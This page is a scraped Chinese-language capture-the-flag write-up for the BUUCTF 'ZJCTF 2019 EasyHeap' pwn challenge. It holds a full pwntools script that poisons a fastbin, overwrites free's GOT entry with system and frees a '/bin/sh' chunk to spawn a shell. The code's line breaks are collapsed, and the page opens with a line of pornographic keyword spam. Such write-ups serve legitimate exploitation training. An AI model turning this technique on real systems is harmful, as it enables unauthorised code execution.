日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap

發布時間:2024/4/18 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——[ZJCTF 2019]EasyHeap 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap

思路

我們第一個想法肯定是執行l33t這個函數,事實證明被擺了一道。沒有結果,
但是我們有system函數我們可以將其放入我們可以操控的函數,比如printf、puts、gets、free等函數的got表,通過傳入/bin/sh來解決。利用堆漏洞就可以達到其目的。

exploit

from pwn import *context(os='linux',arch='amd64',log_level='debug')p = remote("node4.buuoj.cn",28081) elf = ELF('easyheap') p.sendafter('Your choice :',b'1\n') p.sendafter('Size of Heap : ',b'96\n') p.sendafter('Content of heap:',b'\n')p.sendafter('Your choice :',b'1\n') p.sendafter('Size of Heap : ',b'96\n') p.sendafter('Content of heap:',b'\n')p.sendafter('Your choice :',b'3\n') # free 1 p.sendafter('Index :','1\n')payload = p64(0x0) * 13 + p64(0x71) + p64(0x6020ad) + p64(0x0) p.sendafter('Your choice :',b'2\n') p.sendafter('Index :',b'0\n') p.sendafter('Size of Heap : ',b'1000\n') p.sendafter('Content of heap : ',payload)p.sendafter('Your choice :',b'1\n') p.sendafter('Size of Heap : ',b'96\n') p.sendafter('Content of heap:',b'\n')p.sendafter('Your choice :',b'1\n') p.sendafter('Size of Heap : ',b'96\n') p.sendafter('Content of heap:',b'\n')payload = b'a' * 35 + p64(elf.got['free']) p.sendafter('Your choice :',b'2\n') p.sendafter('Index :',b'2\n') p.sendafter('Size of Heap : ',b'1000\n') p.sendafter('Content of heap : ',payload)sys_addr = 0x400700 p.sendafter('Your choice :',b'2\n') p.sendafter('Index :',b'0\n') p.sendafter('Size of Heap : ',b'1000\n') p.sendafter('Content of heap : ',p64(sys_addr))binsh = '/bin/sh\x00' p.sendafter('Your choice :',b'2\n') p.sendafter('Index :',b'1\n') p.sendafter('Size of Heap : ',b'1000\n') p.sendafter('Content of heap : ',binsh)p.sendafter('Your choice :',b'3\n') p.sendafter('Index :',b'1\n')p.interactive()

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。